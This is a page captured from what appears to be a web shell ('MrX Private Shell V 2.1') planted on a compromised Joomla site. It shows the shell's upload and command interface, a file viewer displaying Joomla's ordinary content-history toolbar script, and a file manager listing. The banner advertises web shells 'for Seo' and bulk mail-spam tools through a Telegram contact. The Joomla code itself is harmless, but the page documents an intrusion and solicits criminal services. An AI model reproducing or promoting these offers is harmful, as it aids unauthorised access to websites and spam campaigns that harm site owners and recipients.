__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
((document, Joomla) => {

  if (!Joomla || typeof Joomla.Text._ !== 'function') {
    throw new Error('core.js was not properly initialised');
  }
  document.addEventListener('DOMContentLoaded', () => {
    document.getElementById('toolbar-load').addEventListener('click', () => {
      const toolbarLoad = document.getElementById('toolbar-load');
      if (!toolbarLoad.disabled) {
        const ids = document.querySelectorAll('input[id*="cb"]:checked');
        if (ids.length === 1) {
          // Add version item id to URL
          const url = `${toolbarLoad.childNodes[1].getAttribute('data-url')}&version_id=${ids[0].value}`;
          if (window.parent && url) {
            window.parent.location = url;
          }
        } else {
          Joomla.renderMessages({
            error: [Joomla.Text._('COM_CONTENTHISTORY_BUTTON_SELECT_ONE_VERSION')]
          });
        }
      }
      return false;
    });
    document.getElementById('toolbar-preview').addEventListener('click', () => {
      const toolbarPreview = document.getElementById('toolbar-preview');
      if (!toolbarPreview.disabled) {
        const windowSizeArray = ['width=800, height=600, resizable=yes, scrollbars=yes'];
        const ids = document.querySelectorAll('input[id*="cb"]:checked');
        if (ids.length === 1) {
          // Add version item id to URL
          const url = `${toolbarPreview.childNodes[1].getAttribute('data-url')}&version_id=${ids[0].value}`;
          if (window.parent && url) {
            window.open(url, '', windowSizeArray.toString());
          }
        } else {
          Joomla.renderMessages({
            error: [Joomla.Text._('COM_CONTENTHISTORY_BUTTON_SELECT_ONE_VERSION')]
          });
        }
      }
      return false;
    });
    document.getElementById('toolbar-compare').addEventListener('click', () => {
      const toolbarCompare = document.getElementById('toolbar-compare');
      if (!toolbarCompare.disabled) {
        const windowSizeArray = ['width=1000, height=600, resizable=yes, scrollbars=yes'];
        const ids = document.querySelectorAll('input[id*="cb"]:checked');
        if (ids.length === 0) {
          Joomla.renderMessages({
            error: [Joomla.Text._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST')]
          });
        } else if (ids.length === 2) {
          // Add version item ids to URL
          const url = `${toolbarCompare.childNodes[1].getAttribute('data-url')}&id1=${ids[0].value}&id2=${ids[1].value}`;
          if (window.parent && url) {
            window.open(url, '', windowSizeArray.toString());
          }
        } else {
          Joomla.renderMessages({
            error: [Joomla.Text._('COM_CONTENTHISTORY_BUTTON_SELECT_TWO_VERSIONS')]
          });
        }
      }
      return false;
    });
  });
})(document, Joomla);

Filemanager

Name Type Size Permission Actions
admin-compare-compare-es5.js File 1.59 KB 0664
admin-compare-compare-es5.min.js File 928 B 0664
admin-compare-compare-es5.min.js.gz File 536 B 0664
admin-compare-compare.js File 1.43 KB 0664
admin-compare-compare.min.js File 855 B 0664
admin-compare-compare.min.js.gz File 512 B 0664
admin-history-modal-es5.js File 3.1 KB 0664
admin-history-modal-es5.min.js File 1.82 KB 0664
admin-history-modal-es5.min.js.gz File 727 B 0664
admin-history-modal.js File 2.92 KB 0664
admin-history-modal.min.js File 1.79 KB 0664
admin-history-modal.min.js.gz File 720 B 0664
admin-history-versions-es5.js File 420 B 0664
admin-history-versions-es5.min.js File 325 B 0664
admin-history-versions-es5.min.js.gz File 266 B 0664
admin-history-versions.js File 357 B 0664
admin-history-versions.min.js File 292 B 0664
admin-history-versions.min.js.gz File 248 B 0664
Filemanager